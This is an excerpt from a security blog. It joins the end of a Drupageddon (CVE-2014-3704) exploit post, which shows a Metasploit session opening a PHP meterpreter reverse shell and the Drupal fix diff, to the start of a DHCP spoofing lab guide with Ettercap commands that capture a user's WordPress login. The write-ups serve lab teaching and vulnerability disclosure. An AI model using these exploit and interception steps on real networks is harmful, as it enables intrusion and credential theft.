<br/><a href="https://www.whitewinterwolf.com/posts/2017/11/16/drupageddon-revisited-a-new-path-from-sql-injection-to-remote-command-execution-cve-2014-3704/http-vuln-cve2014-3704.nse.sha512" title="SHA-512 digest"><span class="caps">SHA</span>-512</a> <a href="https://www.whitewinterwolf.com/posts/2017/11/16/drupageddon-revisited-a-new-path-from-sql-injection-to-remote-command-execution-cve-2014-3704/http-vuln-cve2014-3704.nse.sig" title="OpenPGP signature">OpenPGP</a></p>
<p>Here is a sample output:</p>
<div class="codehilite"><pre><span class="gp">root@kali:~#</span> nmap -PS80 -p80 -n --script<span class="o">=</span><span class="nv">$HOME</span>/http-vuln-cve2014-3704.nse 192.168.1.31
<span class="go">Starting Nmap 7.60 ( https://nmap.org ) at 2017-11-15 20:57 CET</span>
<span class="go">Nmap scan report for 192.168.1.31</span>
<span class="go">Host is up (0.00072s latency).</span>
<span class="go">PORT STATE SERVICE</span>
<span class="go">80/tcp open http</span>
<span class="go">| http-vuln-cve2014-3704:</span>
<span class="go">| VULNERABLE:</span>
<span class="go">| Drupal - pre Auth SQL Injection Vulnerability</span>
<span class="go">| State: VULNERABLE (Exploitable)</span>
<span class="go">| IDs: CVE:CVE-2014-3704</span>
<span class="go">| The expandArguments function in the database abstraction API in</span>
<span class="go">| Drupal core 7.x before 7.32 does not properly construct prepared</span>
<span class="go">| statements, which allows remote attackers to conduct SQL injection</span>
<span class="go">| attacks via an array containing crafted keys.</span>
<span class="go">|</span>
<span class="go">| Disclosure date: 2014-10-15</span>
<span class="go">| References:</span>
<span class="go">| https://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html</span>
<span class="go">| https://www.drupal.org/SA-CORE-2014-005</span>
<span class="go">| http://www.securityfocus.com/bid/70595</span>
<span class="go">|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3704</span>
<span class="go">MAC Address: 00:1D:CB:80:18:00 (Exns Development Oy)</span>
<span class="go">Nmap done: 1 IP address (1 host up) scanned in 1.39 seconds</span>
<span class="gp">root@kali:~#</span>
</pre></div>
<p>This script still supports the <code>http-vuln-cve2014-3704.cmd</code> argument already
proposed by the previous one to specify a shell command to execute on
vulnerable remote hosts.</p>
<h4 id="metasploit-exploitation-module"><a class="toclink" href="#metasploit-exploitation-module">Metasploit exploitation module</a></h4>
<p>The Metasploit module implementing the new exploit is available here:</p>
<p class="download button"><a href="https://www.whitewinterwolf.com/posts/2017/11/16/drupageddon-revisited-a-new-path-from-sql-injection-to-remote-command-execution-cve-2014-3704/drupal_cve2014_3704.rb" title="Download the Metasploit module">Metasploit module</a>
<br/><a href="https://www.whitewinterwolf.com/posts/2017/11/16/drupageddon-revisited-a-new-path-from-sql-injection-to-remote-command-execution-cve-2014-3704/drupal_cve2014_3704.rb.sha512" title="SHA-512 digest"><span class="caps">SHA</span>-512</a> <a href="https://www.whitewinterwolf.com/posts/2017/11/16/drupageddon-revisited-a-new-path-from-sql-injection-to-remote-command-execution-cve-2014-3704/drupal_cve2014_3704.rb.sig" title="OpenPGP signature">OpenPGP</a></p>
<p>Here is a sample output:</p>
<div class="codehilite"><pre>msf > use exploit/multi/http/drupal_cve2014_3704
msf exploit(drupal_cve2014_3704) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf exploit(drupal_cve2014_3704) > set RHOST 192.168.1.31
RHOST => 192.168.1.31
msf exploit(drupal_cve2014_3704) > set LHOST 192.168.1.100
LHOST => 192.168.1.100
msf exploit(drupal_cve2014_3704) > run
[*] Started reverse TCP handler on 192.168.1.100:4444
[*] Sending stage (37514 bytes) to 192.168.1.31
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.31:47728) at 2017-11-15 20:53:46 +0100
meterpreter > getuid
Server username: www-data (33)
meterpreter >
</pre></div>
<p>This module implements the <span class="caps">SQL</span> <code>SLEEP()</code> trick to avoid raising any suspicious
log message at all.</p>
<h3 id="drupal-fix"><a class="toclink" href="#drupal-fix">Drupal fix</a></h3>
<p>The fix implemented in Drupal 7.32 onward is very short:</p>
<div class="codehilite"><pre><span class="gh">diff --git a/includes/database/database.inc b/includes/database/database.inc</span>
<span class="gh">index f78098b..01b6385 100644</span>
<span class="gd">--- a/includes/database/database.inc</span>
<span class="gi">+++ b/includes/database/database.inc</span>
<span class="gu">@@ -736,7 +736,7 @@ abstract class DatabaseConnection extends PDO {</span>
// to expand it out into a comma-delimited set of placeholders.
foreach (array_filter($args, 'is_array') as $key => $data) {
$new_keys = array();
<span class="gd">- foreach ($data as $i => $value) {</span>
<span class="gi">+ foreach (array_values($data) as $i => $value) {</span>
// This assumes that there are no other placeholders that use the same
// name. For example, if the array placeholder is defined as :example
// and there is already an :example_2 placeholder, this will generate
</pre></div>
<p>It guaranties that each index used to expand
<a href="#drupals-placeholder-arrays">placeholder arrays</a> is indeed a numerical value.</p>
<div class="footnote">
<hr/>
<ol>
<li id="fn-drupal-crisis-mgmt">
<p>Drupal people warned in advanced of an upcoming major
vulnerability fix and then provided the fix at the same time of the
vulnerability announcement.
Some people at that time expressed <a href="https://www.theregister.co.uk/2014/11/03/drupal_drupalgeddon_analysis/" rel="external" title="Drupalgeddon megaflaw raises questions over CMS bods' crisis mgmt (The Register)">some concerns</a>
about this process and wondered whether Drupal shouldn’t have put some
delay between the fix release and the official announcement. <a class="footnote-backref" href="#fnref-drupal-crisis-mgmt" title="Jump back to footnote 1 in the text">↩</a></p>
</li>
<li id="fn-newuser">
<p>This is the worst and last option to use, as even on low to not
monitored environments where people never look at the logs, the sudden
apparition of a new member in the close circle of the website
administrators will most likely be very quickly noticed and immediately
raise a red flag. <a class="footnote-backref" href="#fnref-newuser" title="Jump back to footnote 2 in the text">↩</a></p>
</li>
<li id="fn-form-state-includes">
<p>This functionality is designed for complex forms
such as some administration forms.
The code handling such forms may be very large and be unneeded in most
cases.
To optimize things, the programmer can therefore put such code in a
separate file and load it only when it is explicitly required. <a class="footnote-backref" href="#fnref-form-state-includes" title="Jump back to footnote 3 in the text">↩</a></p>
</li>
</ol>
</div>DHCP exploitation guide2017-10-30T00:00:00+01:002017-10-30T00:00:00+01:00WhiteWinterWolftag:www.whitewinterwolf.com,2017-10-30:/posts/2017/10/30/dhcp-exploitation-guide/<p><abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> allows devices to automatically get their network configuration when
bringing up a network interface (typically when booting).</p>
<p>This configuration usually includes, among other thing, the <span class="caps">IP</span> address
attributed to the device, the <span class="caps">DNS</span> domain name and the <span class="caps">IP</span> address of the default
router, of the <span class="caps">DNS</span> server and of the NetBIOS name server.</p>
<p>This configuration, is allocated to the device only for a given time: the
<em>lease time</em>.
Lease time may vary largely depending on the environment requirements.
It is typical to find values ranging from a few dozen of minutes to a few weeks.
When half of the lease time expired, the device starts to try get in touch with
the <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> server to renew the lease.</p>
<p>Clients initially asking for the attribution of an <span class="caps">IP</span> address start by
broadcasting a <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> <span class="caps">DISCOVER</span> message.</p>
<p>A typical <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> exchange is as follow:</p>
<p><span class="lb-small"><img alt="Typical DHCP exchange" src="https://www.whitewinterwolf.com/posts/2017/10/30/dhcp-exploitation-guide/dhcp.png"/></span></p>
<ol>
<li>
<p><em><span class="caps">DISCOVER</span></em>: The client without <span class="caps">IP</span> address configured …</p></li></ol><p><abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> allows devices to automatically get their network configuration when
bringing up a network interface (typically when booting).</p>
<p>This configuration usually includes, among other thing, the <span class="caps">IP</span> address
attributed to the device, the <span class="caps">DNS</span> domain name and the <span class="caps">IP</span> address of the default
router, of the <span class="caps">DNS</span> server and of the NetBIOS name server.</p>
<p>This configuration, is allocated to the device only for a given time: the
<em>lease time</em>.
Lease time may vary largely depending on the environment requirements.
It is typical to find values ranging from a few dozen of minutes to a few weeks.
When half of the lease time expired, the device starts to try get in touch with
the <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> server to renew the lease.</p>
<p>Clients initially asking for the attribution of an <span class="caps">IP</span> address start by
broadcasting a <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> <span class="caps">DISCOVER</span> message.</p>
<p>A typical <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> exchange is as follow:</p>
<p><span class="lb-small"><a href="#dhcp.png" id="dhcp.png-thumb" title="Click to enlarge"><img alt="Typical DHCP exchange" src="https://www.whitewinterwolf.com/posts/2017/10/30/dhcp-exploitation-guide/dhcp.png"/></a></span></p>
<ol>
<li>
<p><em><span class="caps">DISCOVER</span></em>: The client without <span class="caps">IP</span> address configured sends this query to
obtain one from the <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> server.
As the client has no information whatsoever about the current network
configuration, not even the address of the <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> server, the request is broadcasted on the local subnet.
The client <em>may</em> already ask for a previously leased <span class="caps">IP</span> address.</p>
</li>
<li>
<p>The server search on its side for a free address he can allocate to the
client.
This usually involves two mechanisms:</p>
<ul>
<li>
<p>The server maintains a local database of leased and available <span class="caps">IP</span> addresses.</p>
</li>
<li>
<p>Once an address candidate has been selected, depending on the server
implementation the server may take great care that the <span class="caps">IP</span>
is indeed not already used by sending one or two <abbr title="Address Resolution Protocol"><span class="caps">ARP</span></abbr> requests with
relatively large waiting time for any potential answer.</p>
</li>
</ul>
</li>
<li>
<p><em><span class="caps">OFFER</span></em>: The server proposes the address to the client.
For availability purposes <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> allows several servers to send concurrent
offers, the client choosing the “best” one.
This message is usually sent as unicast to the client <span class="caps">MAC</span> address.</p>
</li>
<li>
<p><em><span class="caps">REQUEST</span></em>: The client broadcasts the address it has chosen.
This allows all <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> servers involved in this exchange to be aware of the
client’s decision.</p>
<p>Clients wanting to renew an already acquired lease first attempt to directly
jump to this step of the discussion by sending a unicast <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> <span class="caps">REQUEST</span>
message to the <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> server which issued the lease.</p>
</li>
<li>
<p><em><span class="caps">ACKNOWLEDGEMENT</span></em>: The server acknowledges the client decision and provides
him complementary network configuration settings (the various settings
mentioned earlier).</p>
</li>
</ol>
<p>There are several ways the <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> protocol can be abused:</p>
<ul>
<li>
<p><em><abbr title="Man-In-The-Middle"><span class="caps">MITM</span></abbr> attack</em>:
An attacker can spoof the <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> server and send forged replies to the client
with fake network settings allowing the attacker to intercept
upcoming client’s communication.</p>
</li>
<li>
<p><em><abbr title="Denial Of Service"><span class="caps">DOS</span></abbr> attack</em>:
An attacker can simulate enough devices to empty the server’s free <span class="caps">IP</span>
addresses leases, thus preventing upcoming legitimate devices from being
able to obtain an address and, thus, from accessing the network.</p>
</li>
</ul>
<p>These are the attacks we will see in this article and the way to protect from them.</p>
<p><span class="lb-small"><a href="#topology.png" id="topology.png-thumb" title="Click to enlarge"><img alt="DHCP exploitation lab topology" src="https://www.whitewinterwolf.com/posts/2017/10/30/dhcp-exploitation-guide/topology.png"/></a></span></p>
<p>This articles relies on the same topology as the rest of the series.
If you didn’t read the <a href="/posts/2017/10/10/practical-network-layer-2-exploitation-introduction/" title="Practical network layer 2 exploitation: introduction">introduction post</a>, do it now.</p>
<p>For this lab we will use the <em>Users</em> and <em>Servers</em> <span class="caps">VLAN</span>.
The <em>Admins</em> <span class="caps">VLAN</span> will not be involved.</p>
<p>As per the tools, for the <abbr title="Man-In-The-Middle"><span class="caps">MITM</span></abbr> part we will use <a href="https://ettercap.github.io/ettercap/" rel="external" title="Ettercap project homepage">Ettercap</a> and <a href="https://www.wireshark.org/" rel="external" title="Wireshark project homepage">Wireshark</a>,
for the <abbr title="Denial Of Service"><span class="caps">DOS</span></abbr> part we will use <a href="http://www.yersinia.net/" rel="external" title="Yersinia project homepage">Yersinia</a> and <a href="https://github.com/kamorin/DHCPig" rel="external" title="DHCPig GitHub page">DHCPig</a>.</p>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>While this series is about layer 2 exploitation, I still cover <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> which
is traditionally described as a layer 7 protocol as it involves <span class="caps">UDP</span>
communications between a client and a server and does not directly provide a
service to upper layers, like a routing protocol would do for instance.</p>
<p>Personally I don’t find this categorization to be so obvious and definitive.
<abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> is above all a cross-layers protocol: <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> servers need raw access to
the network layer 2, they are not constricted by local layer-3 firewall,
<abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> messages are not routable but are instead limited to a single layer 2
broadcast domain (unless you use a <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> repeater).</p>
<p>Moreover, from a <em>functional</em> point-of-view and this is again my own
opinion, <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> builds a bridge between the layer 2 and layer 3 allowing a
device to obtain its own <span class="caps">IP</span> address (sometimes dependent of its <span class="caps">MAC</span>
address), in a similar fashion than <abbr title="Address Resolution Protocol"><span class="caps">ARP</span></abbr> and <abbr title="Reverse Address Resolution Protocol"><span class="caps">RARP</span></abbr> allows to resolve other
devices layer 2 and 3 addresses.</p>
<p>And at last I thought it made sense in this series, here between the
purely <span class="caps">MAC</span>-related issues from previous post and the <abbr title="Address Resolution Protocol"><span class="caps">ARP</span></abbr>-related issues
we will see in the next one, as it builds a logical evolution in both the
attacker abilities and the securing techniques.</p>
</div>
<h3 id="initial-state"><a class="toclink" href="#initial-state">Initial state</a></h3>
<table class="floatright">
<thead>
<tr><th>Lab</th><th>Compatible</th></tr>
</thead>
<tbody>
<tr><td>Dynamips</td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
<tr><td><span class="caps">IOU</span></td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
<tr><td>Real gear</td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
</tbody>
</table>
<p>In our lab the <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> server is hosted on the main router, <em>R1</em>:</p>
<div class="codehilite"><pre><span class="gp">R1#</span><span class="k">show</span> ip dhcp pool VLAN1
<span class="go">Pool VLAN1 :</span>
<span class="go">Utilization mark (high/low) : 100 / 0</span>
<span class="go">Subnet size (first/next) : 0 / 0</span>
<span class="go">Total addresses : 254</span>
<span class="hll"><span class="go">Leased addresses : 2</span>
</span><span class="go">Pending event : none</span>
<span class="go">1 subnet is currently in the pool :</span>
<span class="go">Current index IP address range Leased addresses</span>
<span class="go">192.168.1.102 192.168.1.1 - 192.168.1.254 2</span>
<span class="gp">R1#</span><span class="k">show</span> ip dhcp binding
<span class="go">Bindings from all pools not associated with VRF:</span>
<span class="go">IP address Client-ID/ Lease expiration Type</span>
<span class="go"> Hardware address/</span>
<span class="go"> User name</span>
<span class="hll"><span class="go">192.168.1.100 0001.93e9.0e00 Mar 02 2002 12:00 AM Automatic</span>
</span><span class="hll"><span class="go">192.168.1.101 0100.0193.b701.00 Mar 02 2002 12:42 AM Automatic</span>
</span><span class="gp">R1#</span><span class="k">show</span> clock
<span class="go">*00:58:32.527 UTC Fri Mar 1 2002</span>
<span class="gp">R1#</span>
</pre></div>
<p>We can see that both the <em>Attacker</em> and the <em>User_1</em> machines got their network
configuration from this <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> server.
Don’t pay attention to the lease expiration: I did not set the time.</p>
<p>We can check the network configuration on both of these hosts, here <em>User_1</em>:</p>
<ul>
<li>
<p>Default router and output interface:</p>
<div class="codehilite"><pre><span class="gp">gns3@box:~$</span> route -n
<span class="go">Kernel IP routing table</span>
<span class="go">Destination Gateway Genmask Flags Metric Ref Use Iface</span>
<span class="hll"><span class="go">0.0.0.0 192.168.1.1 0.0.0.0 UG 0 0 0 eth0</span>
</span><span class="go">127.0.0.1 0.0.0.0 255.255.255.255 UH 0 0 0 lo</span>
<span class="go">192.168.1.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0</span>
<span class="gp">gns3@box:~$</span>
</pre></div>
</li>
<li>
<p><span class="caps">IP</span> address assigned to the default output interface:</p>
<div class="codehilite"><pre><span class="gp">gns3@box:~$</span> ifconfig eth0
<span class="go">eth0 Link encap:Ethernet HWaddr 00:01:93:B7:01:00</span>
<span class="hll"><span class="go"> inet addr:192.168.1.101 Bcast:192.168.1.255 Mask:255.255.255.0</span>
</span><span class="go"> inet6 addr: fe80::201:93ff:feb7:100/64 Scope:Link</span>
<span class="go"> UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1</span>
<span class="go"> RX packets:157 errors:0 dropped:0 overruns:0 frame:0</span>
<span class="go"> TX packets:160 errors:0 dropped:0 overruns:0 frame:0</span>
<span class="go"> collision:0 txqueuelen:1000</span>
<span class="go"> RXbytes:12228 (11.9 KiB) TX bytes:14204 (13.8 KiB)</span>
<span class="gp">gns3@box:~$</span>
</pre></div>
</li>
<li>
<p>No <span class="caps">DNS</span> server configured:</p>
<div class="codehilite"><pre><span class="gp">gns3@box:~$</span> cat /etc/resolv.conf
<span class="gp">gns3@box:~$</span>
</pre></div>
</li>
</ul>
<h3 id="attacks"><a class="toclink" href="#attacks">Attacks</a></h3>
<h4 id="dhcp-server-spoofing-mitm-attack"><a class="toclink" href="#dhcp-server-spoofing-mitm-attack"><abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> server spoofing (<abbr title="Man-In-The-Middle"><span class="caps">MITM</span></abbr> attack)</a></h4>
<h5 id="first-a-bit-of-theory"><a class="toclink" href="#first-a-bit-of-theory">First a bit of theory</a></h5>
<p>Unless the attacker managed to somehow cut the communication between the client
and the <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> server, the attacker’s rogue <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> server races against the
legitimate <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> server: his answers must come first to the client otherwise
they will most likely be ignored.</p>
<p>An attacker may attempt to forge either the <span class="caps">OFFER</span> or the <span class="caps">ACK</span> replies, each
having its own set of advantages and limitations<sup id="fnref-ideal-world"><a class="footnote-ref" href="#fn-ideal-world">1</a></sup>:</p>
<ul>
<li>
<p>Forging the <span class="caps">OFFER</span> usually offers almost certain chances to win the race.
Indeed, while the legitimate server takes time to ensure that no device
on the network is already using the <span class="caps">IP</span> candidate, the attacker don’t care
of such subtleties and directly sends his forged <span class="caps">OFFER</span> answer to the client.
Moreover, a desperate attacker may resort to first DOSing the legitimate
<abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> server to get rid of it.</p>
<p>However, this has two main limitations:</p>
<ul>
<li>
<p>The attacker must use its own <span class="caps">IP</span> addresses pool, which may potentially
conflict with the legitimate server pool and generate some panic on the network.</p>
<div class="admonition warning">
<p class="admonition-title">Warning</p>
<p>Duplicates <span class="caps">IP</span> can generate real trouble.</p>
<p>Don’t try this in real environments unless you know what you are
doing or expect to <abbr title="Denial Of Service"><span class="caps">DOS</span></abbr> the network anyway.</p>
</div>
</li>
<li>
<p>If the client specifically asked for a previously leased <span class="caps">IP</span> address
in its <span class="caps">DISCOVER</span> message, then the answer from the legitimate server
might still be considered the “best” one even-though it was received
later as long as it allows the client to keep its requested <span class="caps">IP</span> address.</p>
</li>
</ul>
</li>
<li>
<p>Wining the race when forging the <span class="caps">ACKNOWLEDGEMENT</span> is more random and depends
on various factors, in particular the position of the involved parties in
the topology.
The attack has the most chances to succeed when the attacker is closer of
the target than the <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> server, which is not unusual.</p>
<p>Moreover, the interception won’t survive a lease renewal: when the client
reaches half of its lease time, it will send a <em>unicast</em> <span class="caps">REQUEST</span> to
the <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> server who issued the <span class="caps">IP</span>.
In this case, the client will contact the legitimate server, which will
in turn provide him the legitimate network settings in its acknowledgement.</p>
<p>As long as the environment allows it, I think this is the most elegant and
reliable choice as the client ends with a valid <span class="caps">IP</span> address legitimately
leased by the real <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> server.
In fact, from the point of view of the <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> server, everything went
normally, the only difference being in the network settings finally applied
by the client.</p>
</li>
</ul>
<p>As seen above, a <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> server provides among other settings the <span class="caps">IP</span> addresses of
the default router and of the <span class="caps">DNS</span> server.
The attacker may fake either of these:</p>
<ul>
<li>
<p>By faking the default router address, all the victim’s communication will
go through a machine controlled by the attacker.</p>
</li>
<li>
<p>By faking the <span class="caps">DNS</span> server address, the attacker puts himself between
the client and the legitimate <span class="caps">DNS</span> server, controlling the content of <span class="caps">DNS</span>
answers reaching to the client.
This allows to more finely select which part of the
communication to redirect to an attacker controlled machine (fake <span class="caps">DNS</span>
answers) and which part to leave as-is (real <span class="caps">DNS</span> answers).
This may also be useful to bypass security measures relying on <span class="caps">DNS</span> answers.</p>
</li>
</ul>
<p>Each have their own advantages, but each have the disadvantage that the target
will loose its network connectivity as soon as the attack
ends<sup id="fnref-configurable-leases"><a class="footnote-ref" href="#fn-configurable-leases">2</a></sup>.</p>
<p>In this lab we will spoof the router <span class="caps">IP</span> address provided in the <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> <span class="caps">ACK</span>
message, and mention how to apply this techniques to <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> <span class="caps">OFFER</span> as well.</p>
<h5 id="and-now-practice"><a class="toclink" href="#and-now-practice">And now, practice!</a></h5>
<table class="floatright">
<thead>
<tr><th>Lab</th><th>Compatible</th></tr>
</thead>
<tbody>
<tr><td>Dynamips</td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
<tr><td><span class="caps">IOU</span></td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
<tr><td>Real gear</td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
</tbody>
</table>
<p>For the attack itself, we will use <a href="https://ettercap.github.io/ettercap/" rel="external" title="Ettercap project homepage">Ettercap</a>.
I recommend however to also run <a href="https://www.wireshark.org/" rel="external" title="Wireshark project homepage">Wireshark</a> to get a better understanding of
what is going-on on the line.</p>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>When running Wireshark from within the attacker’s host, you will have only
a partial view of the story.
In fact, you will not see the unicast responses sent by the legitimate <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr>
server to the client.</p>
<p>As far as the lab is concerned, if you want to have a more complete view
you can either run Wireshark directly on the <em>User_1</em> and run <code>dhclient</code>
instead of restarting to refresh your <span class="caps">IP</span> or, if you are using <span class="caps">GNS3</span>, you
can simply launch a Wireshark directly on the link between <em>User_1</em> and its
nearest switch <em><span class="caps">ESW2</span></em> by right-clicking on the link and then selecting the
<em>Start capture</em> option (I love this feature!).</p>
<p>This will allow you to observe the reply of both the legitimate and the
rogue <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> servers as they reach the client.</p>
</div>
<p>We will use Ettercap with the following parameters:</p>
<ul>
<li><code>-T</code>: For the text mode, as opposed to the <span class="caps">GUI</span>, curses or daemon mode.</li>
<li><code>-z</code>: Skip the initial scanning of running hosts in the local subnet.</li>
<li><code>-q</code>: Don’t print packets details (we already have Wireshark for that, we
don’t want to clutter Ettercap output with this kind of information).</li>
<li><code>-M</code>: Select the <abbr title="Man-In-The-Middle"><span class="caps">MITM</span></abbr> attack to use, here it is <code>dhcp</code> with the following
slash-separated arguments:<ul>
<li>Empty <span class="caps">IP</span> range: Ettercap will only fake <span class="caps">ACK</span> messages.
Set this to an (hopefully unused) <span class="caps">IP</span> range to allow Ettercap to
generate <span class="caps">OFFER</span> messages, for instance <code>192.168.1.50-192.168.1.99</code>.</li>
<li><code>255.255.255.0</code>: The network mask.</li>
<li><code>192.168.1.1</code>: The <span class="caps">DNS</span> server address (this value is nonsense, but this
argument is required).</li>
</ul>
</li>
</ul>
<p>This gives us the following result:</p>
<div class="codehilite"><pre><span class="hll"><span class="gp">root@kali:~#</span> ettercap -Tzq -M dhcp:/255.255.255.0/192.168.1.1
</span>
<span class="go">ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team</span>
<span class="go">Listening on:</span>
<span class="go">eth0 -> 00:01:93:E9:0E:00</span>
<span class="go"> 192.168.1.100/255.255.255.0</span>
<span class="go"> fe80::201:93ff:fee9:e00/64</span>
<span class="go">SSL dissection needs a valid 'redir_command_on' script in the etter.conf file</span>
<span class="go">Ettercap might not work correctly. /proc/sys/net/ipv6/conf/eth0/use_tempaddr is not set to 0.</span>
<span class="go">Privileges dropped to EUID 65534 EGID 65534...</span>
<span class="go">33 plugins</span>
<span class="go">42 protocol dissectors</span>
<span class="go">57 ports monitored</span>
<span class="go">20388 mac vendor fingerprint</span>
<span class="go">1766 tcp OS fingerprint</span>
<span class="go">2182 known services</span>
<span class="go">Lua: no scripts were specified, not starting up!</span>
<span class="go">DHCP spoofing: using specified ip_pool, netmask 255.255.255.0, dns 192.168.1.1</span>
<span class="go">Starting Unified sniffing...</span>
<span class="go">Text only Interface activated...</span>
<span class="go">Hit 'h' for inline help</span>
</pre></div>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>Ettercap also provides a <span class="caps">GUI</span>, you can get it by running <code>ettercap -G</code>or
through the <em>Applications</em> menu of your desktop manager.</p>
<p>Once started, go in <em>Sniff</em> > <em>Unified sniffing</em> and select the network
interface to use.
Then all the expected options will become available.</p>
<p>The <span class="caps">GUI</span> allows to use several tabs to manage the detected hosts, the
<abbr title="Man-In-The-Middle"><span class="caps">MITM</span></abbr> targets, the intercepted connections, etc.
Depending on your usage and habits, you may find it more convenient than
the command-line.</p>
</div>
<p>Leave Ettercap and Wireshark running, and now reboot the <em>User_1</em> host.</p>
<p>Things should be moving on Ettercap’s side:</p>
<div class="codehilite"><pre>DHCP: [00:01:93:B7:01:00] DISCOVER
DHCP: [00:01:93:B7:01:00] REQUEST 192.168.1.101
DHCP spoofing: fake ACK [00:01:93:B7:01:00] assigned to 192.168.1.101
</pre></div>
<ol>
<li>First Ettercap detected a broadcasted <span class="caps">DISCOVER</span> message, but since we did
not provide an <span class="caps">IP</span> range it did not react to it.</li>
<li>Then Ettercap detected a broadcasted <span class="caps">REQUEST</span> message bearing the <span class="caps">IP</span> address
allocated by the legitimate <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> server, it reacted by sending a fake <span class="caps">ACK</span>
to the client with our customized router address.</li>
</ol>
<p>If you have a Wireshark running between <em>User_1</em> and its nearest switch, you
can see the the two competing <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> <span class="caps">ACK</span> paquets:</p>
<p><span class="lb-small"><a href="#two-ack.png" id="two-ack.png-thumb" title="Click to enlarge"><img alt="Two competing DHCP ACK paquets" src="https://www.whitewinterwolf.com/posts/2017/10/30/dhcp-exploitation-guide/two-ack.png"/></a></span></p>
<p>The forged <span class="caps">ACK</span> containing the attacker’s <span class="caps">IP</span> as default router address managed
to slip through a few hundredth of second before the legitimate <span class="caps">ACK</span>, and was
therefore the one taken into account by the client:</p>
<div class="codehilite"><pre><span class="gp">gns3@box:~$</span> route -n
<span class="go">Kernel IP routing table</span>
<span class="go">Destination Gateway Genmask Flags Metric Ref Use Iface</span>
<span class="hll"><span class="go">0.0.0.0 192.168.1.100 0.0.0.0 UG 0 0 0 eth0</span>
</span><span class="go">127.0.0.1 0.0.0.0 255.255.255.255 UH 0 0 0 lo</span>
<span class="go">192.168.1.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0</span>
<span class="gp">gns3@box:~$</span>
</pre></div>
<p>The <em>User_1</em> host now uses the attacker’s machine as default router.</p>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>Depending on your luck you may need to try a second, or even a third time
before succeeding (as explained in the <a href="/posts/2017/10/25/mac-address-table-overflow/#session-stealing" title="MAC address table overflow: session stealing attack">previous post</a>, in
real-life there will be several computers booting together at the beginning
of the work day, as many chances for successful interception).</p>
<p>If for some reason Ettercap seems to systematically loose the race against
the <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> server, quit the current Ettercap session by pressing <code>q</code> and
try to forge <span class="caps">OFFER</span> replies instead:</p>
<div class="codehilite"><pre>ettercap -Tzq -M dhcp:192.168.1.50-192.168.1.99/255.255.255.0/192.168.1.1
</pre></div>
</div>
<p>Now, still from the <em>User_1</em> host, connect and open a session on <em>Server_1</em>
administration interface.</p>
<p>Here again things should move in Ettercap:</p>
<div class="codehilite"><pre>HTTP : 192.168.3.100:80 -> USER: user PASS: bitnami INFO: http://192.168.3.100/wp-login.php?redirect_to=http://192.168.3.100/wp-admin/&reauth=1
